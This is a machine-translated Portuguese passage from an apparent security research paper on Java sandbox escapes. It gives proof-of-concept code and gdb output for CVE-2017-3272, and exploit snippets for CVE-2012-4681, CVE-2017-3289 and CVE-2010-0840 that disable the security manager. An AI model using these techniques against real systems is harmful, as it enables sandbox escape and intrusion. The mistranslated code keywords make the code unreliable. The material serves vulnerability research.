O código C deste método é mostrado abaixo.

————————————————– ————————-
175: JNIEXPORT anula JNICALL
176: Java_java_nio_Bits_copyToIntArray (JNIEnv * env, jobject this,
177: jlong ​​srcAddr, jobject dst,
jlong ​​dstPos, comprimento do jlong)
178: {
179: jbyte * bytes;
180: size_t size;
181: jint * srcInt, * dstInt, * endInt;
182: jint tmpInt;
183:
184: srcInt = (jint *) jlong_to_ptr (srcAddr);
185:
186: while (comprimento> 0) {
187: / * não altere este código, consulte AVISO acima * /
188: if (comprimento> MBYTE)
189: tamanho = MBYTE;
190: else
191: size = (size_t) comprimento;
192:
193: GETCRITICAL (bytes, env, dst);
194:
195: dstInt = (jint *) (bytes + dstPos);
196: endInt = srcInt + (tamanho / tamanho (jint));
197: while (srcInt <endInt) {
198: tmpInt = * srcInt ++;
199: * dstInt ++ = SWAPINT (tmpInt);
200:}
201:
202: RELEASECRITICAL (bytes, env, dst, 0);
203:
204: comprimento – = tamanho;
205: srcAddr + = tamanho;
206: dstPos + = tamanho;
207:}
208:}
————————————————– ————————-

Percebemos que não há verificação nos índices da matriz. Se o índice for menor
maior que zero ou maior ou igual ao tamanho da matriz, o código também será executado.
Esse código primeiro transforma um ponteiro inteiro longo em 32 bits (linha 184).
Em seguida, o código faz um loop até os elementos de tamanho / tamanho serem copiados (linhas 186 e
204) As chamadas para GETCRITICAL () e RELEASECRITICAL () (linhas 193 e 202) são
usado para sincronizar o acesso ao array dst e, portanto, não tem nada a ver
com a verificação do índice da matriz.

Para executar esse código nativo, três restrições presentes no Java get ()
método deve ser satisfeito:

– Restrição 1:

————————————————– ————————-
356: if (((long) length << 2)> Bits.JNI_COPY_FROM_ARRAY_THRESHOLD) {
————————————————– ————————-

– Restrição 2:

————————————————– ————————-
357: checkBounds (offset, length, src.length);
————————————————– ————————-

– Restrição 3:

————————————————– ————————-
362: if (comprimento> rem)
————————————————– ————————-

Não mencionamos a afirmação na linha 360, pois ela só é verificada se o
A opção “-ea” (ativar asserções) está definida na VM. Este quase nunca é o
caso em produção, pois implica desacelerações.

Na primeira restrição, JNI_COPY_FROM_ARRAY_THRESHOLD representa o
limiar (em número de elementos a serem copiados) do qual a cópia será feita
via código nativo. A Oracle determinou empiricamente que vale a pena chamar
código nativo de 6 elementos. Para satisfazer essa restrição, o número de
os elementos a serem copiados devem ser maiores que 1 (6 >> 2).

A segunda restrição está presente no método checkBounds ():

————————————————– ————————-
564: estático void checkBounds (int off, int len, int size) {
566: if ((desligado | len | (desativado + len) | (tamanho – (desativado + len)))) <0)
567: lança novo IndexOutOfBoundsException ();
568:}
————————————————– ————————-

A segunda restrição pode ser expressa da seguinte maneira:

————————————————– ————————-
1: deslocamento> 0 AND comprimento> 0 AND (deslocamento + comprimento)> 0
2: AND (dst.length – (deslocamento + comprimento))> 0.
————————————————– ————————-

A terceira restrição verifica se o número restante de elementos é menor
igual ou igual ao número de elementos a serem copiados:

————————————————– ————————-
comprimento <lim – pos
————————————————– ————————-

Para simplificar, supomos que o índice atual da matriz seja 0. O valor
restrição passa a ser:

————————————————– ————————-
comprimento <lim
————————————————– ————————-

que é o mesmo que

————————————————– ————————-
length <dst.length
————————————————– ————————-

Uma solução para essas restrições é:

————————————————– ————————-
dst.length = 1209098507
deslocamento = 1073741764
length = 2
————————————————– ————————-

Com esta solução, todas as restrições são atendidas e, como existe
um estouro inteiro, podemos ler 8 bytes (2 * 4) em um índice negativo de -240
(1073741764 << 2). Agora temos uma primitiva de leitura para ler bytes antes do
matriz dst. Usando a mesma técnica no método get (), obtemos uma primitiva
para escrever bytes antes da matriz dst.

Podemos verificar se nossa análise está correta, escrevendo um PoC simples e
execute-o em uma versão vulnerável da JVM, como o Java 1.8, atualização 60.

————————————————– ————————-
1: teste de classe pública {
2:
3: público estático void main (String [] args) {
4: int [] dst = novo int [1209098507];
5:
6: for (int i = 0; i <comprimento do dst; i ++) {
7: dst [i] = 0xAAAAAAAA;
8:}
9:
10: bytes int = 400;
11: ByteBuffer bb = ByteBuffer.allocateDirect (bytes);
12: IntBuffer ib = bb.asIntBuffer ();
13:
14: for (int i = 0; i <ib.limit (); i ++) {
15: ib.put (i, 0xBBBBBBBB);
16:}
17:
18: deslocamento int = 1073741764; // deslocamento << 2 = -240
19: comprimento int = 2;
20:
21: ib.get (dst, deslocamento, comprimento); // ponto de interrupção aqui
22:}
23:
24:}
————————————————– ————————-

Esse código cria uma matriz de tamanho 1209098507 (linha 4) e, em seguida, inicializa
todos os elementos dessa matriz para 0xAAAAAAAA (linhas 6-8). Em seguida, cria
uma instância ib do tipo IntBuffer e inicializa todos os elementos de seu
matriz interna (números inteiros) para 0xBBBBBBBB (linhas 10-16). Finalmente, chama
o método get () para copiar 2 elementos da matriz interna do ib para dst com um
deslocamento negativo de -240 (linhas 18-21). A execução deste código não falha
a VM. Além disso, percebemos que após chamar get, nenhum elemento do dst
matriz foram modificados. Isso significa que 2 elementos do interno da ib
array foram copiados para fora do dst. Vamos verificar isso definindo um
ponto de interrupção na linha 21 e, em seguida, iniciando o gdb no processo executando o
JVM. No código Java, usamos sun.misc.Unsafe para calcular o endereço
do dst que é 0x20000000.

————————————————– ————————-
$ gdb -p 1234
[…]
(gdb) x / 10x 0x200000000
0x200000000: 0x00000001 0x00000000 0x3f5c025e 0x4811610b
0x200000010: 0xaaaaaaaa 0xaaaaaaaa 0xaaaaaaaa 0xaaaaaaaa 0xaaaaaaaa
0x200000020: 0xaaaaaaaa 0xaaaaaaaa
(gdb) x / 10x 0x200000000-240
0x1ffffff10: 0x00000000 0x00000000 0x00000000 0x00000000
0x1ffffff20: 0x00000000 0x00000000 0x00000000 0x00000000
0x1ffffff30: 0x00000000 0x00000000
————————————————– ————————-

Com o gdb, notamos que elementos da matriz dst foram inicializados para
0xAAAAAAAA conforme o esperado. A matriz não inicia diretamente por 0xAAAAAAAA
mas tem um cabeçalho de 16 bytes que contém, entre outros, o tamanho da matriz
(0x4811610b = 1209098507). Por enquanto, não há nada (apenas bytes nulos) 240
bytes antes da matriz. Vamos executar o método get Java e verificar novamente
o estado da memória com gdb:

————————————————– ————————-
(gdb) c
Continuando.
^ C
O segmento 1 “java” recebeu o sinal SIGINT, Interromper.
0x00007fb208ac86cd em pthread_join (threadid = 140402604672768,
thread_return = 0x7ffec40d4860) em pthread_join.c: 90
90 em pthread_join.c
(gdb) x / 10x 0x200000000-240
0x1ffffff10: 0x00000000 0x00000000 0x00000000 0x00000000
0x1ffffff20: 0xbbbbbbbb 0xbbbbbbbb 0x00000000 0x00000000
0x1ffffff30: 0x00000000 0x00000000
————————————————– ————————-

A cópia de dois elementos do array interno do ib para o dst “funcionou”: eles
foram copiados 240 bytes antes do primeiro elemento do dst. Por algum motivo
o programa não travou. Olhando para o mapa de memória do processo
indica que há uma zona de memória imediatamente antes de 0x20000000, que é rwx:

————————————————– ————————-
$ pmap 1234
[…]
00000001fc2c0000 62720K rwx– [anon]
0000000200000000 5062656K rwx– [anon]
0000000335000000 11714560K rwx– [anon]
[…]
————————————————– ————————-

Conforme explicado abaixo, em Java, uma confusão de tipo é sinônimo de desvio total de
a caixa de areia. A ideia da vulnerabilidade CVE-2017-3272 é usar o método de leitura
e escreva primitivas para executar a confusão de tipos. Nosso objetivo é ter o
seguinte estrutura na memória:

————————————————– ————————-
B [] | 0 | 1 | ………… | k | …… | l |
A [] | 0 | 1 | 2 | …. | i | ……………. | m |
int [] | 0 | ……………… | j | …. | n |
————————————————– ————————-

Uma matriz de elementos do tipo _B_ imediatamente antes de uma matriz de elementos do tipo
_A_ imediatamente antes da matriz interna de um objeto _IntBuffer_. O primeiro passo
consiste em usar a primitiva de leitura para copiar o endereço dos elementos de
digite _A_ (no índice i) dentro da matriz inteira interna (no índice j). o
Os segundos passos consistem em copiar a referência da matriz interna (em
índice j) para um elemento do tipo _B_ (no índice k). Uma vez que os dois passos são
feito, a JVM pensará que o elemento no índice k é do tipo _B_, mas é
na verdade, um elemento do tipo _A_.

O código que manipula o heap é complexo e pode mudar de VM para VM
(Hotspot, JRockit, etc.), mas também de versão para versão. Nós obtivemos
uma situação estável em que todas as três matrizes estão próximas uma da outra por 50
versões diferentes da JVM com os seguintes tamanhos de matriz:

————————————————– ————————-
l = 429496729
m = l
n = 858993458
————————————————– ————————-

—— [3.2.3 – Discussão

Testamos a exploração em todas as versões publicamente disponíveis do Java 1.6,
1.7 e 1.8. No total, as 51 versões são vulneráveis: 18 versões do 1.6
(1.6_23 a 1.6_45), 28 versões de 1.7 (1.7_0 a 1.7_80) e 5 versões de
1,8 (1,8_05 a 1,8_60).

Já discutimos o patch acima: o código corrigido agora lança primeiro
Números inteiros de 32 bits a muito tempo antes de fazer a operação shift. Isso eficientemente
evita estouros de número inteiro.

– [4 – Vulnerabilidades no nível Java

—- [4.1 – Deputado confuso

—— [4.1.1 – Histórico

Vice-ataques confusos são um tipo muito comum de ataque ao Java
plataforma. Os ataques de exemplo são as explorações do CVE-2012-5088,
CVE-2012-5076, CVE-2013-2460 e também CVE-2012-4681, que apresentamos em
detalhe abaixo. A idéia básica é que o código de exploração visa o acesso a
métodos privados ou campos de classes do sistema para, por exemplo, desativar
o gerente de segurança. Em vez de acessar o membro da classe desejado
diretamente, no entanto, o código de exploração executará o acesso em nome de um
classe de sistema confiável. Maneiras típicas de abusar de uma classe de sistema para esse fim
é explorar o uso inseguro de reflexão ou MethodHandles, ou seja, um
classe de sistema confiável executa acesso de leitura reflexivo a um campo de destino
o que pode ser determinado pelo analista.

—— [4.1.2 – Exemplo: CVE-2012-4681

Vamos dar uma olhada no CVE-2012-4681, porque isso geralmente é chamado por
outros autores como exemplo de um ataque confuso.

Como primeira etapa, recuperamos o acesso ao _sun.awt.SunToolkit_, um recurso restrito
classe que deve estar inacessível para código não confiável.

————————————————– ————————-
1: Expressão expr0 = nova Expressão (Class.class, “forName”,
2: new Object [] {“sun.awt.SunToolkit”});
3: Classe sunToolkit = (Classe) expr.execute (). GetValue ();
————————————————– ————————-

Isso já explora uma vulnerabilidade. Mesmo que especificemos
Class.forName () como o método de destino da Expressão, esse método é
realmente não chamado. Em vez disso, _Expression_ implementa lógica personalizada
especificamente para este caso, que carrega classes sem verificar corretamente
permissões de acesso. Assim, _Expression_ serve como nosso confuso representante aqui
que carrega uma classe para nós que, de outra forma, não poderíamos carregar.

Como próximo passo, usamos o SunToolkit.getField () para obter acesso ao privado
campo Statement.acc.

————————————————– ————————-
1: Expressão expr1 = nova Expressão (sunToolkit, “getField”,
2: new Object [] {Statement.class, “acc”});
3: Campo acc = expr1.execute (). GetValue ();
————————————————– ————————-

getField () é outro deputado confuso, em nome de quem ficamos refletindo
acesso a um campo privado de uma classe de sistema. O seguinte snippet mostra
que getField () usa doPrivileged () para obter o campo solicitado e também
configure-o como acessível, para que seu valor possa ser modificado posteriormente.

—————————- | SunToolkit.java | —————————-
1: campo estático público getField (classe final class,
2: string final fieldName) {
3: retornar AccessController.doPrivileged (
4: new PrivilgedAction <Field> () {
5: campo público run () {
6: …
7: Campo campo = klass.getDeclaredField (fieldName);
8: …
9: field.setAccessible (true);
10: campo de retorno;
11: …
————————————————– ————————-

Em seguida, criamos um _AccessControlContext_ ao qual são atribuídos todos
permissões.

————————————————– ————————-
1: Permissões de permissões = novas Permissões ();
2: Permissions.add (novo AllPermission ());
3: ProtectionDomain pd = new ProtectionDomain (novo CodeSource (
4: nova URL (“arquivo: ///”), novo certificado [0]), permissões);
5: AccessControlContext newAcc =
6: AccessControlContext (novo ProtectionDomain [] {pd});
————————————————– ————————-

Os objetos _Statement_ podem representar chamadas de método arbitrárias. Quando uma instância
de _Statement_ é criado, ele armazena o contexto de segurança atual em
Statement.acc. Ao chamar Statement.execute (), ele executará a chamada
representa dentro do contexto de segurança que foi originalmente armazenado
em Statement.acc para garantir que ele chama o método com o mesmo
privilégios como se fossem chamados diretamente.

Em seguida, criamos um _Statement_ que representa a chamada
System.setSecurityManager (null) e sobrescreve seu _AccessControlContext_
armazenado em Statement.acc com nosso novo _AccessControlContext_ que possui todos
permissões.

————————————————– ————————-
1: Instrução stmt = nova Instrução (System.class, “setSecurityManager”,
2: novo Objeto [1]);
3: acc.set (stmt, newAcc)
————————————————– ————————-

Por fim, chamamos stmt.execute () para realmente executar a chamada para
setSecurityManager (). Esta chamada será bem-sucedida, porque substituímos o
contexto de segurança em stmt.acc com um contexto de segurança que foi designado
todos os privilégios.

—— [4.1.3 – Discussão

O problema de ataques confusos com deputados surge naturalmente do núcleo
conceitos de segurança da plataforma Java. Um mecanismo crucial da caixa de areia é
controle de acesso baseado em pilha, que inspeciona a pilha de chamadas sempre
operações confidenciais são tentadas, detectando assim o acesso direto de
código não confiável para membros sensíveis da classe, por exemplo. Em muitos casos,
No entanto, essa inspeção de pilha termina antes de todos os chamadores no atual
A pilha foi verificada quanto às permissões apropriadas. Existem dois comuns
casos em que isso acontece. No primeiro caso, um dos chamadores na pilha
chama doPrivileged () para declarar explicitamente que a ação desejada é considerada
seguro, mesmo se chamado de código não privilegiado. Enquanto doPrivileged ()
geralmente é um mecanismo sensível, também pode ser usado incorretamente
situações em que nem todas as precauções foram tomadas para garantir
que uma operação específica é segura. No segundo caso, um método em um
A classe de sistema verificará manualmente apenas as propriedades do chamador imediato,
e pule o mecanismo de controle de acesso da JVM que inspecionaria também o
outros chamadores na pilha. Em ambos os casos, os analistas podem lucrar com
pilha incompleta percorre executando determinadas ações sensíveis simplesmente em
nome das classes do sistema.

—- [4.2 – Instância não inicializada

—— [4.2.1 – Histórico

Uma etapa crucial na inicialização do objeto Java é chamar o construtor de
o respectivo tipo. Os construtores contêm o código necessário para a variável
inicialização, mas também pode conter verificações de segurança. É, portanto
importante para a segurança e estabilidade da plataforma para fazer cumprir essa
construtores são realmente chamados antes que a inicialização do objeto seja concluída e
métodos do tipo são chamados por outro código.

A imposição de chamadas de construtor é de responsabilidade do bytecode
verificador, que verifica todas as classes durante o carregamento para garantir sua validade.
Isso também inclui, por exemplo, a verificação de que os saltos caem em
instruções e não no meio de uma instrução, e verificando se o
o fluxo de controle termina com uma instrução de retorno. Além disso, também verifica
que as instruções operam em tipos válidos, necessárias para impedir que tipos
ataques de confusão, que apresentamos na Seção 3.1.1.

Historicamente, para verificar a validade do tipo, a JVM contava com um fluxo de dados
análise para calcular um ponto de correção. Essa análise pode exigir a execução de
passagem múltipla pelos mesmos caminhos. Como isso consome tempo e pode
mais lento o processo de carregamento de classe, uma nova abordagem foi desenvolvida para
execute a verificação de tipo em tempo linear, onde cada caminho é verificado apenas
uma vez. Para isso, as meta-informações denominadas frames do mapa da pilha foram
adicionado ao longo do bytecode. Em resumo, os quadros de mapas de pilha descrevem os possíveis
tipos em cada destino de ramificação. Os quadros de mapa de pilha são armazenados em uma estrutura
chamada tabela de mapa de pilha [25].

Há uma vulnerabilidade de instância não inicializada quando o analista é capaz
para criar uma instância na qual a chamada para <init> (*), o construtor de
o objeto ou o construtor da superclasse não é executado. este
vulnerabilidade viola diretamente a especificação da máquina virtual
[21] As conseqüências para a segurança da JVM é que, com um
vulnerabilidade de instância não inicializada, um analista pode instanciar objetos que ele
não deve poder e ter acesso a propriedades e métodos que deveria
não tem acesso. Isso pode levar a uma fuga da caixa de areia.

—— [4.2.2 – Exemplo: CVE-2017-3289

A descrição do CVE indica que “ataques bem-sucedidos deste
vulnerabilidade pode resultar na aquisição do Java SE, Java SE Embedded. “[22].
Quanto ao CVE-2017-3272, isso significa que pode ser possível explorar o
vulnerabilidade para escapar da sandbox Java.

O bugzilla de Redhat indica que “Uma falha de construção de classe insegura,
relacionados ao manuseio incorreto de quadros de pilha de exceção, foi encontrado em
o componente Hotspot do OpenJDK. Um aplicativo ou aplicativo Java não confiável
poderia usar essa falha para ignorar as restrições do Java sandbox “. [23].
informa ao analista que (1) a vulnerabilidade está no código C / C ++ (Hotspot
é o nome da Java VM) e que (2) a vulnerabilidade está relacionada a um
construção ilegal de classes e exceção aos quadros de pilha. Informações (2)
indica que a vulnerabilidade provavelmente está no código C / C ++ verificando o
validade do bytecode. A página também possui links para o patch do OpenJDK para
essa vulnerabilidade.

O patch do OpenJDK “8167104: refinamentos de construção de classe adicionais”
a correção da vulnerabilidade está disponível online [24]. Cinco arquivos C ++ são
patched: “classfile / verifier.cpp”, a classe responsável pela verificação do
estrutura e a validade de um arquivo de classe “, classfile / stackMapTable. {cpp,
hpp} “, os arquivos que manipulam a tabela de mapas de pilha e
“classfile / stackMapFrame. {cpp, hpp}”, os arquivos que representam o mapa da pilha
quadros.

Ao olhar para o diff, percebe-se que funciona
StackMapFrame :: has_flag_match_exception () foi removido e uma condição,
que iremos chamar de C1, foi atualizado removendo a chamada para
has_flag_match_exception (). Além disso, os métodos match_stackmap () e
is_assignable_to () agora possui um parâmetro a menos: “manipulador de bool”
removido. Este parâmetro “manipulador” é definido como “true” se o verificador for
atualmente verificando um manipulador de exceções. A condição C1 é ilustrada no
seguinte listagem:

————————————————– ————————-
….
– bool match_flags = (_flags | target-> flags ()) == target-> flags ();
– if (match_flags || is_exception_handler &&
has_flag_match_exception (target)) {
+ if ((_flags | target-> flags ()) == target-> flags ()) {
return true;
}
….
————————————————– ————————-

Essa condição está dentro da função is_assignable_to () que verifica se o
O quadro de mapa de pilha atual é atribuível ao quadro de mapa de pilha de destino, passado
como um parâmetro para a função. Antes do patch, a condição para retornar
“true” era “match_flags || is_exception_handler &&
has_flag_match_exception (target) “. Em inglês, isso significa que sinalizadores para
o quadro de mapa de pilha atual e o quadro de mapa de pilha de destino são iguais ou
que a instrução atual está em um manipulador de exceções e que essa função
“has_flag_match_exception” retorna “true”. Observe que há apenas um tipo
da bandeira chamada “UNINITIALIZED_THIS” (também conhecida como FLAG_THIS_UNINIT). Se esta bandeira for
true, indica que o objeto referenciado por “this” não foi inicializado,
ou seja, seu construtor ainda não foi chamado.

Após o patch, a condição se torna “match_flags”. Isso significa que, em
a versão vulnerável, provavelmente existe uma maneira de construir bytecode para
qual “match_flags” é falso (ou seja, “this” tem o sinalizador não inicializado em
quadro atual, mas não no quadro de destino), mas para o qual
“is_exception_handler” é “true” (a instrução atual está em um
manipulador de exceção) e para o qual “has_flag_match_exception (target)” retorna
“verdadeiro”. Mas quando essa função retorna “true”?

A função has_flag_match_exception () é representada na seguinte
listagem.

————————————————– ————————-
1: ….
2: bool StackMapFrame :: has_flag_match_exception (
3: const StackMapFrame * target) const {
4:
5: assert (max_locals () == target-> max_locals () &&
6: stack_size () == target-> stack_size (),
7: “Os tamanhos do StackMap devem corresponder”);
8:
9: VerificationType top = VerificationType :: top_type ();
10: VerificationType this_type = verifier () -> current_type ();
11:
12: if (! Flag_this_uninit () || target-> flags ()! = 0) {
13: retornar falso;
14:}
15:
16: for (int i = 0; i <target-> locals_size (); ++ i) {
17: if (locals () [i] == this_type && target-> locals () [i]! = Top) {
18: retornar falso;
19:}
20:}
21:
22: for (int i = 0; i <target-> stack_size (); ++ i) {
23: if (stack () [i] == this_type && target-> stack () [i]! = Top) {
24: retornar falso;
25:}
26:}
27:
28: retornar verdadeiro;
29:}
30: ….
————————————————– ————————-

Para que esta função retorne “true” todas as seguintes condições
deve passar: (1) o número máximo de variáveis ​​locais e o tamanho máximo
da pilha deve ser o mesmo para o quadro atual e o quadro de destino
(linhas 5-7); (2) o quadro atual deve ter o sinalizador “UNINIT” definido como
“verdadeiro” (linha 12-14); e (3) objetos não inicializados não são usados ​​no
quadro de destino (linhas 16 a 26).

A lista a seguir ilustra o bytecode que satisfaz os três
condições:

————————————————– ————————-
<init> ()
0: new // classe java / lang / Throwable
1: dup
2: invokespecial // Método java / lang / Throwable. “<init>” :() V
3: athrow
4: nova // classe java / lang / RuntimeException
5: dup
6: invokespecial // Método java / lang / RuntimeException. “<init>” :() V
7: athrow
8: retorno
Tabela de exceção:
do tipo de destino
0 4 8 classe java / lang / jogável
StackMapTable: number_of_entries = 2
quadro na instrução 3
local = [UNINITIALIZED_THIS]
pilha = [classe java / lang / Throwable]
quadro na instrução 8
locais = [TOP]
pilha = [classe java / lang / Throwable]
————————————————– ————————-

O número máximo de habitantes locais e o tamanho máximo da pilha podem ser definidos como 2 para
satisfazer a primeira condição. O quadro atual tem “UNINITIALIZED_THIS” definido
para true na linha 3 para satisfazer a segunda condição. Finalmente, para satisfazer as
terceira condição, locais não inicializados não são usados ​​no destino do
instrução “athrow” (linha 8), pois o primeiro elemento do local é
inicializado para “TOP”.

Observe que o código está dentro de um bloco try / catch para ter
“is_exception_handler” definido como “true” na função is_assignable_to ().
Além disso, observe que o bytecode está dentro de um construtor (<init> () em
bytecode). Isso é obrigatório para que o sinalizador “UNINITIALIZED_THIS” esteja definido
verdadeiro.

Agora sabemos que o analista é capaz de criar bytecode que retorna um
objeto não inicializado de si mesmo. À primeira vista, pode ser difícil ver
como esse objeto pode ser usado pelo analista. No entanto, um olhar mais atento
revela que essa classe manipulada poderia ser implementada como uma subclasse de
uma classe de sistema, que pode ser inicializada sem chamar super. <init> (),
o construtor da superclasse. Isso pode ser usado para instanciar o público
classes de sistema que não poderiam ser instanciadas por código não confiável,
porque seus construtores são privados ou contêm verificações de permissão. o
O próximo passo é encontrar classes que ofereçam funcionalidades “interessantes”
para o analista. O objetivo é combinar todas as funcionalidades para poder
executar código arbitrário em um ambiente sandbox, ignorando o
caixa de areia. Encontrar classes úteis é, no entanto, uma tarefa complicada por si só.
Especificamente, estamos enfrentando os seguintes desafios.

Desafio 1: Onde procurar código auxiliar

O JRE é fornecido com vários arquivos jar contendo JCL (Java Class Library)
aulas. Essas classes são carregadas como classes _trusted_ e podem ser aproveitadas
ao construir uma exploração. Infelizmente para o analista, mas
felizmente para usuários de Java, mais e mais classes são marcadas como
“restrito”, significando que o código _ontrusted_ não pode instanciar diretamente
eles. O número de pacotes restritos passou de um em 1.6.0_01 para 47 em
1.8.0_121. Isso significa que a porcentagem de código que o analista não pode
O uso direto na criação de uma exploração passou de 20% em 1.6.0_01 para 54% em
1.8.0_121.

Desafio 2: Os campos não podem ser inicializados

Sem a devida permissão, normalmente não é possível instanciar um
novo carregador de classes. A permissão da classe _ClassLoader_ sendo verificada
no construtor, parece, à primeira vista, um alvo interessante.
Com a vulnerabilidade do CVE-2017-3289, é realmente possível
instanciar um novo carregador de classes sem a permissão, desde que o construtor
código – e, portanto, a verificação de permissão – não será executado. Contudo,
como o construtor é ignorado, os campos são inicializados com o padrão
valores (por exemplo, zero para números inteiros, nulo para referências). Isso é problemático
desde os métodos interessantes que normalmente permitem definir uma nova classe
com todos os privilégios falhará porque o código tentará desreferenciar um
campo que não foi inicializado corretamente. Após a inspeção manual,
parece difícil ignorar a desreferência de campo, pois todos os caminhos estão indo
através da instrução que desreferencia o campo não inicializado. Alavancagem
o _ClassLoader_ parece ser um beco sem saída. Os campos não inicializados são um dos principais
desafio ao usar a vulnerabilidade do CVE-2017-3289: além do
requisitos para que uma classe-alvo seja pública, não final e não restrita,
seus métodos de interesse também não devem executar uma desreferenciação de método
campos não inicializados.

Ainda não encontramos um código auxiliar útil para o Java versão 1.8.0, atualização 112.
Para ilustrar como funciona a vulnerabilidade do CVE-2017-3289, mostraremos
código auxiliar alternativo para explorações que utilizam 0422 e 0431.
explorações dependem de _MBeanInstantiator_, uma classe que define o método
findClass () que pode carregar classes arbitrárias. A classe _MBeanInstantiator_ possui
apenas construtores privados; portanto, a instanciação direta não é possível.
Originalmente, essas explorações usam _JmxMBeanServer_ para criar uma instância de
_MBeanInstantiator_. Mostraremos que um analista pode subclassificar diretamente
_MBeanInstantiator_ e use a vulnerabilidade 3289 para obter uma instância dela.

O código auxiliar original para instanciar _MBeanInstantiator_ depende
_JmxMBeanServer_ como mostrado abaixo:

————————————————– ————————-
1: JmxMBeanServerBuilder serverBuilder = novo JmxMBeanServerBuilder ();
2: servidor JmxMBeanServer =
3: (JmxMBeanServer) serverBuilder.newMBeanServer (“”, nulo, nulo);
4: Instanciador de MBeanInstantiator = server.getMBeanInstantiator ();
————————————————– ————————-

O código alternativo para instanciar _MBeanInstantiator_ aproveita o
vulnerabilidade de CVE-2017-3289:

————————————————– ————————-
1: classe pública PoCMBeanInstantiator estende java.lang.Object {
2: public PoCMBeanInstantiator (ModifiableClassLoaderRepository clr) {
3: lança novo RuntimeException ();
4:}
5:
6: objeto estático público get () {
7: retornar novo PoCMBeanInstantiator (null);
8:}
9:}
————————————————– ————————-

Observe que, como _MBeanInstantiator_ não possui nenhum construtor público,
_PoCMBeanInstantiator_ precisa estender uma classe fictícia, em nosso exemplo
_java.lang.Object_, no código fonte. Nós usamos o bytecode ASM [28]
biblioteca de manipulação, para alterar a super classe de _PoCMBeanInstantiator_
para _MBeanInstantiator_. Também usamos o ASM para alterar o bytecode do
construtor para ignorar a chamada para super. <init> (*).

Desde a atualização 13 do Java 1.7.0, a Oracle adicionou _com.sun.jmx._ como uma restrição
pacote. Como a classe _MBeanInstantiator_ está neste pacote, não é, portanto,
possível reutilizar esse código auxiliar em versões posteriores do Java.

Para nossa surpresa, essa vulnerabilidade afeta mais de 40 diferentes públicos
lançamentos. Todas as liberações do Java 7 da atualização 0 à atualização 80 são afetadas. Tudo
As liberações do Java 8 da atualização 5 à atualização 112 também são afetadas. Java 6 é
não afetado.

Observando a diferença entre o código fonte do bytecode
verificador de Java 6 atualização 43 e Java 7 atualização 0, notamos que o principal
parte do diff corresponde ao inverso do patch apresentado acima.
Isso significa que a condição sob a qual um quadro de pilha é atribuível a um
quadro de pilha de destino em um manipulador de exceção em um construtor
enfraquecido. Comentários no diff indicam que este novo código foi adicionado
através do pedido 7020118 [26]. Essa solicitação solicitou a atualização do código do
verificador de bytecode de forma que o criador de perfil do NetBeans possa gerar
manipuladores para cobrir todo o código de um construtor.

A vulnerabilidade foi corrigida ao restringir a restrição sob a qual
o quadro de pilha atual – em um construtor dentro de um bloco try / catch – pode
ser atribuído ao quadro da pilha de destino. Isso evita efetivamente o bytecode
de retornar um objeto “ this ” não inicializado do construtor.

Até onde sabemos, há pelo menos três _ publicamente conhecidos
instance_ vulnerabilidades para Java. Um deles é o CVE-2017-3289 descrito neste
papel. O segundo foi descoberto em 2002 [29]. Os autores também
explorou uma vulnerabilidade no verificador de bytecode que permite não
chame o construtor da superclasse. Eles não foram capazes de desenvolver
uma exploração para escapar completamente da caixa de areia. Eles foram capazes, no entanto, de
acesse a rede e leia e grave arquivos no disco. O terceiro foi
encontrado por um grupo de pesquisa em Princeton em 1996 [30]. Novamente, o problema é
dentro do verificador de bytecode. Permite que um construtor pegue
exceções geradas por uma chamada para super () e retornam um parâmetro parcialmente inicializado
objeto. Observe que, no momento deste ataque, a classe do carregador de classes não
tem qualquer variável de instância. Assim, aproveitando a vulnerabilidade para
instanciar um carregador de classes deu um carregador de classes totalmente inicializado no qual
qualquer método poderia ser chamado.

—— [4.2.3 – Discussão

A causa raiz dessa vulnerabilidade é uma modificação do C / C ++
código de validação de bytecode que permite que um analista crie o bytecode Java
que é capaz de não ignorar a chamada para super () em um construtor de um
subclasse. Essa vulnerabilidade viola diretamente a especificação do
máquina virtual [21].

No entanto, essa vulnerabilidade é inútil sem o código _helper_ apropriado.
A Oracle desenvolveu ferramentas de análise estática para encontrar dispositivos perigosos e
coloque-os na lista negra [31]. Isso torna mais difícil para um analista desenvolver um
explorar ignorando a caixa de areia. Na verdade, só achamos interessante
gadgets que funcionam com versões mais antigas da JVM. Desde que eles foram
Na lista negra das últimas versões, o ataque não funciona mais.
Contudo, embora a abordagem se baseie na análise estática, ela (1) pode
gerar muitos falsos positivos, o que dificulta a identificação real
dispositivos perigosos e (2) podem ter falsos negativos porque não
modelo de fidelidade todas as especificidades da linguagem, tipicamente reflexão e
JNI, e, portanto, não é som.

—- [4.3 – Cadeia de método confiável

 

—— [4.3.1 – Histórico

Sempre que uma verificação de segurança é realizada em Java, toda a pilha de chamadas é
verificado. Cada quadro da pilha de chamadas contém um nome de método identificado por
sua assinatura de classe e método. A ideia de um ataque em cadeia de método confiável
é ter apenas classes confiáveis ​​na pilha de chamadas. Para conseguir isso, um
O analista normalmente depende dos recursos de reflexão presentes em classes confiáveis
chamar métodos de destino. Dessa forma, nenhuma classe de aplicativo (não confiável) será
na pilha de chamadas quando a verificação de segurança é concluída e os métodos de destino
executará em um contexto privilegiado (normalmente para desativar a segurança
Gerente). Para que essa abordagem funcione, a cadeia de métodos deve ser
em um encadeamento privilegiado, como o encadeamento de eventos. Não vai funcionar no
thread principal porque a classe com o método principal é considerada não confiável
e a verificação de segurança lançará uma exceção.

—— [4.3.2 – Exemplo: CVE-2010-0840

Esta vulnerabilidade é o primeiro exemplo de ataque de cadeia de método confiável
contra a plataforma Java [32]. Ele se baseia no _java.beans.Statement_
classe para executar métodos de destino via reflexão. A exploração injeta um
Elemento GUI _JList_ (“Um componente que exibe uma lista de objetos e
permite ao usuário selecionar um ou mais itens. “[33]) para forçar o thread da GUI
para desenhar o novo elemento. O código de exploração é o seguinte:

————————————————– ————————-
// método de destino
Objeto alvo = System.class;
String methodName = “setSecurityManager”;
Object [] args = new Object [] {null};

Link l = new Link (destino, methodName, args);

HashSet final s = novo HashSet ();
s.add (l);

Mapa h = new HashMap () {
public Set entrySet () {
retorno s;
}; };

sList = nova JList (novo Objeto [] {h});
————————————————– ————————-

O método de destino é representado como um _Statement_ através do _Link_
objeto. A classe _Link_ não é uma classe da JCL, mas uma classe
construído pelo analista. A classe _Link_ é uma subclasse de _Expression_
que é uma subclasse de _Statement_. O objeto _Link_ também implementa,
embora de maneira falsa, o método getValue () do _java.util.Map.Entry_
interface. Não é uma implementação real da interface _Entry_ porque
somente o método getValue () está presente. Esta “implementação” não pode ser feita
com um compilador javac normal e isso deve ser feito modificando diretamente o
bytecode da classe _Link_.

